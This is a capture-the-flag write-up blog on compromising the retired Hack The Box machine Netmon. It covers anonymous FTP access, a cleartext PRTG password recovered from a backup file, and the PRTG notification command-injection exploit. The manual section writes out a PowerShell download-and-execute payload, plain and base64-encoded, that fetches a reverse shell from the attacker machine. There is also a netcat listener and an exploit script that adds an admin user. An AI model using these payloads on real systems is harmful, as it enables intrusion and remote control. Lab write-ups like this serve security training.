This is the 41st blog out of a series of blogs I will be publishing on retired HTB machines in preparation for the OSCP. The full list of OSCP like machines compiled by TJ_Null can be found here.
Let’s get started!
Reconnaissance
Run the nmapAutomator script to enumerate open ports and services running on those ports.
./nmapAutomator.sh 10.10.10.152 All
- All: Runs all the scans consecutively.
We get back the following result.
Running all scans on 10.10.10.152Host is likely running Windows---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 01:37 EST Nmap scan report for 10.10.10.152 Host is up (0.053s latency). Not shown: 995 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-dsNmap done: 1 IP address (1 host up) scanned in 1.90 seconds---------------------Starting Nmap Basic Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 01:37 EST Nmap scan report for 10.10.10.152 Host is up (0.035s latency).PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-02-19 11:18PM 1024 .rnd | 02-25-19 09:15PM <DIR> inetpub | 07-16-16 08:18AM <DIR> PerfLogs | 02-25-19 09:56PM <DIR> Program Files | 02-02-19 11:28PM <DIR> Program Files (x86) | 02-03-19 07:08AM <DIR> Users |_02-25-19 10:49PM <DIR> Windows | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_http-server-header: PRTG/18.1.37.13946 | http-title: Welcome | PRTG Network Monitor (NETMON) |_Requested resource was /index.htm |_http-trane-info: Problem with XML parsing of /evox/about 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results: |_clock-skew: mean: 2m19s, deviation: 0s, median: 2m19s |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-02-28T06:40:16 |_ start_date: 2020-02-28T06:37:07Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.57 seconds----------------------Starting Nmap UDP Scan---------------------- Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 01:38 EST Warning: 10.10.10.152 giving up on port because retransmission cap hit (1). Nmap scan report for 10.10.10.152 Host is up (0.043s latency). All 1000 scanned ports on 10.10.10.152 are open|filtered (871) or closed (129)Nmap done: 1 IP address (1 host up) scanned in 130.59 seconds---------------------Starting Nmap Full Scan---------------------- Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 01:40 EST Initiating Parallel DNS resolution of 1 host. at 01:40 Completed Parallel DNS resolution of 1 host. at 01:40, 0.02s elapsed Initiating SYN Stealth Scan at 01:40 Scanning 10.10.10.152 [65535 ports] ... Host is up (0.039s latency). Not shown: 65443 closed ports, 79 filtered ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknownRead data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 132.61 seconds Raw packets sent: 66187 (2.912MB) | Rcvd: 65727 (2.629MB)Making a script scan on extra ports: 5985, 47001, 49664, 49665, 49666, 49667, 49668, 49669 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 01:42 EST Nmap scan report for 10.10.10.152 Host is up (0.040s latency).PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 56.27 seconds---------------------Starting Nmap Vulns Scan--------------------- Running CVE scan on all ports Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 01:43 EST Nmap scan report for 10.10.10.152 Host is up (0.045s latency).PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_http-server-header: PRTG/18.1.37.13946 |_http-trane-info: Problem with XML parsing of /evox/about 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 60.97 secondsRunning Vuln scan on all ports Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 01:44 EST Nmap scan report for 10.10.10.152 Host is up (0.041s latency).PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_sslv2-drown: 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.152 .... |_http-passwd: ERROR: Script execution failed (use -d to debug) |_http-server-header: PRTG/18.1.37.13946 ... 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results: |_samba-vuln-cve-2012-1182: No accounts left to try |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: No accounts left to tryService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 3549.49 seconds---------------------Recon Recommendations----------------------Web Servers Recon: gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.152:80 -o recon/gobuster_10.10.10.152_80.txt nikto -host 10.10.10.152:80 | tee recon/nikto_10.10.10.152_80.txtgobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.152:5985 -o recon/gobuster_10.10.10.152_5985.txt nikto -host 10.10.10.152:5985 | tee recon/nikto_10.10.10.152_5985.txtgobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.152:47001 -o recon/gobuster_10.10.10.152_47001.txt nikto -host 10.10.10.152:47001 | tee recon/nikto_10.10.10.152_47001.txtSMB Recon: smbmap -H 10.10.10.152 | tee recon/smbmap_10.10.10.152.txt smbclient -L "//10.10.10.152/" -U "guest"% | tee recon/smbclient_10.10.10.152.txt nmap -Pn -p445 --script vuln -oN recon/SMB_vulns_10.10.10.152.txt 10.10.10.152Which commands would you like to run? All (Default), gobuster, nikto, nmap, smbclient, smbmap, Skip <!>Running Default in (1) s: ---------------------Running Recon Commands----------------------.... ========================= Starting smbmap scan [+] Finding open SMB ports.... [!] Authentication error on 10.10.10.152 [!] Authentication error on 10.10.10.152Finished smbmap scan ========================= Starting smbclient scan session setup failed: NT_STATUS_ACCOUNT_DISABLEDFinished smbclient scan =========================
Note: This scan generates a lot of results. I only show the results that contributed to rooting this machine.
We have thirteen ports open.
- Port 21: running Microsoft ftpd
- Port 80: running Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
- Ports 139 & 445: running SMB
- Ports 135, 49664, 49665, 49666, 49667, 49668 & 49669: running Microsoft Windows RPC
- Ports 5985 & 47001: running Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Before we move on to enumeration, let’s make some mental notes about the scan results.
- Anonymous FTP is enabled and it looks like it gives you access to the user’s operating system. Depending on the privilege we have, we might be able to view the user.txt flag from there.
- Port 80 is running an off-the-shelf software. So the first thing I would do is test default credentials on the login page and the second thing I would do is run searchsploit on the software name and version to see if it is associated to any RCE vulnerabilities.
Enumeration
I always start off with enumerating HTTP.
Port 80 HTTP
Visit the application in the browser.
It’s running PRTG Network Monitor, which is a network monitoring software. The exact software version used is 18.1.37.13946. Since this is a network monitoring tool, chances are it is running with elevated privileges, so if the software contains an RCE, we’ll get a privileged shell.
Since this is an off-the-shelf software, let’s google for default credentials.
I tried the prtgadmin/prtgadmin credentials but that didn’t work. I don’t usually run a cracker on an off-the-shelf software (b/c of lockout policies), unless I’ve exhausted all other possibilities. So for now, let’s move on to enumerating FTP and get back to this later.
Port 21 FTP
Anonymous login is enabled for the FTP server.
root@kali:~/Desktop/htb/netmon/ftp# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
View the directories we have access to.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-02-19 11:18PM 1024 .rnd
02-25-19 09:15PM <DIR> inetpub
07-16-16 08:18AM <DIR> PerfLogs
02-25-19 09:56PM <DIR> Program Files
02-02-19 11:28PM <DIR> Program Files (x86)
02-03-19 07:08AM <DIR> Users
02-25-19 10:49PM <DIR> Windows
226 Transfer complete.
Let’s download the user.txt file to our attack machine.
ftp> pwd 257 "/Users/Public" is current directory.ftp> get user.txt local: user.txt remote: user.txt 200 PORT command successful. 125 Data connection already open; Transfer starting. WARNING! 1 bare linefeeds received in ASCII mode File may not have transferred correctly. 226 Transfer complete. 33 bytes received in 0.04 secs (0.8625 kB/s)
View the user.txt file.
We don’t have access to the the Administrator’s directory.
ftp> pwd 257 "/Users" is current directory.ftp> cd Administrator 550 Access is denied.
However, since we do have access to the operating system, maybe we can find cleartext/hashed/encrypted credentials that will allow us to log into PRTG. Again, because this is an off-the-shelf software, google should tell us where these credentials are stored.
The first entry we see on google is a reddit post discussing an email sent by PRTG to its users about exposed domain accounts and passwords in plain text.
The files that might contain cleartext credentials are listed below.
Let’s see if we have access to any of these files on the FTP server.
ftp> pwd 257 "/ProgramData/Paessler/PRTG Network Monitor" is current directory.ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 02-28-20 10:17PM <DIR> Configuration Auto-Backups 02-28-20 10:17PM <DIR> Log Database 02-02-19 11:18PM <DIR> Logs (Debug) 02-02-19 11:18PM <DIR> Logs (Sensors) 02-02-19 11:18PM <DIR> Logs (System) 02-28-20 10:17PM <DIR> Logs (Web Server) 02-28-20 10:17PM <DIR> Monitoring Database 02-25-19 09:54PM 1189697 PRTG Configuration.dat 02-25-19 09:54PM 1189697 PRTG Configuration.old 07-14-18 02:13AM 1153755 PRTG Configuration.old.bak 02-28-20 10:18PM 1637528 PRTG Graph Data Cache.dat 02-25-19 10:00PM <DIR> Report PDFs 02-02-19 11:18PM <DIR> System Information Database 02-02-19 11:40PM <DIR> Ticket Database 02-02-19 11:18PM <DIR> ToDo Database 226 Transfer complete.
Let’s download everything in the directory to our attack machine.
ftp> mget PRTG*
We don’t find any plaintext passwords in PRTG Configuration.old and PRTG Configuration.dat. However, we do find credentials in the PRTG Configuration.old.bak file.
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
Let’s test them out on the login page. It doesn’t work. However, this is a backup file from the year 2018. According to the dates, the PRTG Configuration.old file was last modified or created in 2019, so let’s try the following password.
PrTg@dmin2019
We’re in!
Alright, run searchsploit on the software name to see if it is associated to any critical vulnerabilities.
It’s vulnerable to an authenticated remote code execution (RCE) vulnerability.
For the exploitation phase, we’ll do this box in two ways. In the first way, we’ll use the script to exploit the box. In the second way, we’ll exploit the same vulnerability, except we’ll do it manually.
Exploitation #1: CVE 2018–9276 Exploit Script
Copy the script to the current directory.
searchsploit -m 46527
Run the script to see what parameters it requires to run.
We need to first log in and grab our session cookies. We can do that by intercepting the request in Burp.
_ga=GA1.4.2092334210.1582875922; _gid=GA1.4.597734317.1582875922; OCTOPUS1813713946=ezI0OTUwM0JELUYxMzYtNDE4RS05QTU5LUIyQUI2OUU0RjZDNn0%3D; _gat=1
Then run the script with the above cookies.
bash 46527.sh -u http://10.10.10.152 -c "_ga=GA1.4.2092334210.1582875922; _gid=GA1.4.597734317.1582875922; OCTOPUS1813713946=ezI0OTUwM0JELUYxMzYtNDE4RS05QTU5LUIyQUI2OUU0RjZDNn0%3D; _gat=1"
We get syntax errors.
46527.sh: line 16: $'\r': command not found
46527.sh: line 17: syntax error near unexpected token `$'\r''
'6527.sh: line 17: `usage()
The exploit seems to have not copied properly from searchsploit. So instead, manually copy the exploit rom exploitdb and save it in a file exploit.sh. Then rerun the exploit.
bash exploit.sh -u http://10.10.10.152 -c "_ga=GA1.4.2092334210.1582875922; _gid=GA1.4.597734317.1582875922; OCTOPUS1813713946=ezI0OTUwM0JELUYxMzYtNDE4RS05QTU5LUIyQUI2OUU0RjZDNn0%3D; _gat=1"
It runs successfully and creates the user ‘pentest’ with the password ‘P3nT3st!’ on the system.
Let’s use psexec to access that user’s account.
root@kali:~/Desktop/htb/netmon# locate psexec.py
/root/Desktop/tools/impacket/examples/psexec.py
/usr/share/doc/python3-impacket/examples/psexec.py
/usr/share/set/src/fasttrack/psexec.py
Run the following command.
python3 /usr/share/doc/python3-impacket/examples/psexec.py pentest:'P3nT3st!'@10.10.10.152
We’re in!
Grab the root.txt flag.
Exploitation #2: Manual Command Injection
While running the exploit script and immediately getting a shell is easy, we don’t really learn much about how the exploit works. Since this is a relatively simple exploit, let’s try and do this manually.
This blog explains in detail how the vulnerability was found. The issue seems to be with a test notification script that is included in the default installation of the application. The script does not validate user input and therefore is vulnerable to a command injection.
The notification system can be accessed through Setup > Account Settings > Notifications. Click on the Add new notification icon. Add ‘test’ as the Notification Name. Then click on execute Program and select the Program File outfile.ps1. In the Parameter field, let’s test out command injection by pinging our attack machine.
Hit Save. On the attack machine run the following command to see if the program does ping us.
tcpdump -i tun0 icmp
We get a hit back, so this is definitely vulnerable to a command injection.
Download the Nishang repository and copy the Invoke-PowerShellTcp.ps1 script into your current directory.
cp ../../tools/nishang/Shells/Invoke-PowerShellTcp.ps1 .
mv Invoke-PowerShellTcp.ps1 shell.ps1
Add the following line to the end of the script with the attack machine configuration settings.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 1234
When called, this sends a reverse shell back to our attack machine on port 1234.
Start up a python server in the directory that the shell script resides in.
python -m SimpleHTTPServer 5555
Setup a listener to receive the reverse shell.
nc -nlvp 1234
Then going back to the test notification job we created, change the Parameter field to the following string.
bla | iex(new-object net.webclient).downloadstring('http://10.10.14.7:5555/shell.ps1')
Click on the test object and send the test notification. We see that it downloaded the reverse shell, however, it didn’t give us a shell back. This could be because the application is not properly interpreting the characters in the command. So instead, let’s base64 encode it.
echo "iex(new-object net.webclient).downloadstring('http://10.10.14.7:5555/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
We get back the following base64 encoded command.
aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcAOgA1ADUANQA1AC8AcwBoAGUAbABsAC4AcABzADEAJwApAAoA
Change the Paramater field to the following string.
bla | powershell -encodedCommand aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcAOgA1ADUANQA1AC8AcwBoAGUAbABsAC4AcABzADEAJwApAAoA
We get a shell!
Lessons Learned
To get SYSTEM on this box, we exploited three vulnerabilities.
- Insecure configuration of FTP server that allowed anonymous login. This allowed us to get access to the system and find cleartext credentials. The administrator should have disabled anonymous access to the FTP server.
- Cleartext credentials. A backup configuration file of the PRTG network monitoring tool contained cleartext credentials. As we saw in the reddit post, the company had sent its users an email warning them of exposed domain accounts and passwords. The administrator should have complied with the recommendation in the email and deleted the outlined files.
- Weak authentication credentials. Although we found old credentials that no longer were in use, we simply changed the year in the credentials and were able to access the admin account. The administrator should have used a complex password that would be difficult to crack and does not resemble previously used passwords on the application. Especially that those old passwords have been exposed to anyone that has had access to the system.
- Known command injection vulnerability. The PRTG network monitoring tool is not itself vulnerable, however, the default installation comes with a test script that is vulnerable to a command injection. This is a known vulnerability that the administrator should have addressed when it was made public. The quick fix would have been to simply remove the test script form the notifications section.
0 comments:
Post a Comment